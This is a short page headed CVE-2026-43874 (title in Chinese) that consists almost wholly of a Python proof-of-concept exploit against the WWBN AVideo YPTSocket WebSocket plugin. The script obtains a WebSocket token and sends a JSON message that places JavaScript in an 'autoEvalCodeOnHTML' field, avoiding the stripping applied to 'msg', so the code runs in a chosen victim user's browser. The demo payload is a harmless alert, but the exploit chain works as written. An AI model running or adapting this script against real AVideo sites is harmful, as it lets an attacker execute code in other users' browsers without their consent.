CVE-2026-43874: WWBN AVideo WebSocket 代码执行漏洞绕过

import asyncio import websockets import requests import json # Target configuration TARGET_URL = "http://localhost/AVideo" TARGET_USER_ID = 1 # ID of the victim user async def exploit(): # Step 1: Get WebSocket Token print("[*] Fetching WebSocket token...") token_url = f"{TARGET_URL}/plugin/YPTSocket/getWebSocket.json.php" try: resp = requests.get(token_url) token_data = resp.json() ws_token = token_data.get('token') print(f"[+] Token obtained: {ws_token}") except Exception as e: print(f"[-] Failed to get token: {e}") return # Step 2: Connect to WebSocket # Note: Default WS port might be different, usually 8080 or similar depending on config ws_uri = f"ws://localhost:8080/?token={ws_token}" print(f"[*] Connecting to {ws_uri}...") try: async with websockets.connect(ws_uri) as websocket: print("[+] Connected.") # Step 3: Construct Bypass Payload # The vulnerability lies in checking $msg['json'] before $msg['msg']. # We put the payload in 'json' to bypass the strip logic. payload = { "json": { "autoEvalCodeOnHTML": "alert('CVE-2026-43874 RCE Bypass');" }, "to_users_id": TARGET_USER_ID, "msg": "safe_message" # This field would be stripped, but ignored } print(f"[*] Sending payload: {json.dumps(payload)}") await websocket.send(json.dumps(payload)) print("[+] Payload sent. Check victim's browser console.") # Keep connection open briefly to ensure delivery await asyncio.sleep(2) except Exception as e: print(f"[-] WebSocket error: {e}") if __name__ == "__main__": asyncio.run(exploit())